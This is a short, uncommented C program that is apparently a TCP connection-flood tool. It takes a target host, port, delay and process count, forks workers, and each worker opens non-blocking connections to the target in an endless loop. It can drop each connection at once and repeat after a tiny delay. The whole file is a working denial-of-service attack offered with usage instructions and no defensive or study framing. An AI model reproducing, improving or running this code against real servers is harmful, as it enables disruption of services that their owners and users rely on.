#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
static struct sockaddr_in remote;
void main(int argc, char **argv)
{
int sock;
unsigned char disc;
unsigned long delay;
struct hostent *server;
if (argc < 5) {
fprintf(stderr,
"Usage: %s <target> <port> <delay> <disconnect on connect: 0|1> [threads]\n",
argv[0]);
exit(-1);
}
delay = atoll(argv[3]);
remote.sin_family = AF_INET;
remote.sin_port = htons(atol(argv[2]));
if ((server = gethostbyname(argv[1])))
bcopy(server->h_addr, (char *) &remote.sin_addr, server->h_length);
else if ((remote.sin_addr.s_addr = inet_addr(argv[1])) < 0) {
perror("gethostbyname()");
exit(-1);
}
disc = atoi(argv[4]);
if (argc > 5) {
argc = atoi(argv[5]);
if (!argc--)
exit(0);
for (; argc; argc--)
if (!fork())
break;
}
argc = 1;
while (1) {
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &argc, sizeof(argc));
setsockopt(sock, SOL_TCP, TCP_NODELAY, &argc, sizeof(argc));
fcntl(sock, F_SETFL, O_NONBLOCK);
if (connect(sock, (struct sockaddr *) &remote, sizeof(remote)) < 0 && errno == ECONNREFUSED)
perror("connect()");
if (disc)
close(sock);
usleep(delay);
}
}